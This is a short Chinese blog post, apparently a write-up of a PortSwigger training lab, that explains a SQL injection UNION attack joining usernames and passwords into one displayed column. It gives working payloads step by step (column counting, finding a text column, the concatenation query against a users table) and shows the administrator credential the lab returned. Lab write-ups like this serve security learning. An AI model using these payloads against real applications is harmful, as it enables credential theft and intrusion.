SQL injection(Lab6)

piter 发布于 7 天前 39 次阅读 269 字


PortSwigger SQLi 入门:单列拼接取多值

Lab:SQL injection UNION attack, retrieving multiple values in a single column
原理:Retrieving multiple values within a single column

题目在考什么

有时能回显的文本列只有一列,却要一次拿出 username + password。做法是在那一列里用数据库的字符串拼接,把多字段合成一格再显示。

注入点

类别筛选 category。

步骤

1. 定列数

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

到 3 报错 → 2 列。

2. 找能塞字符串的列

' UNION SELECT 'a',NULL--
' UNION SELECT NULL,'a'--

第二列能显示 a → 只往第二列塞文本。

3. 单列拼接多值

Oracle 用 || 拼接,中间加分隔符方便认:

' UNION SELECT NULL,username||'~'||password FROM users--

页面出现类似:

administrator~d5zlwven1j9b76z8g28w

用 administrator 和密码登录,lab 通过。

要点

  • 上一题两列都能显示时,可以直接 SELECT username, password;本题只有一列能显示,就要拼接。
  • 分隔符自定(~、| 等);不同库拼接写法不同(Oracle ||,有的用 CONCAT)。
  • NULL 占住不能放字符串的那一列。
  • reward_image1
永远不要因为需要大量时间才能完成,就放弃梦想,时间怎么样都会过去的
最后更新于 2026-10-15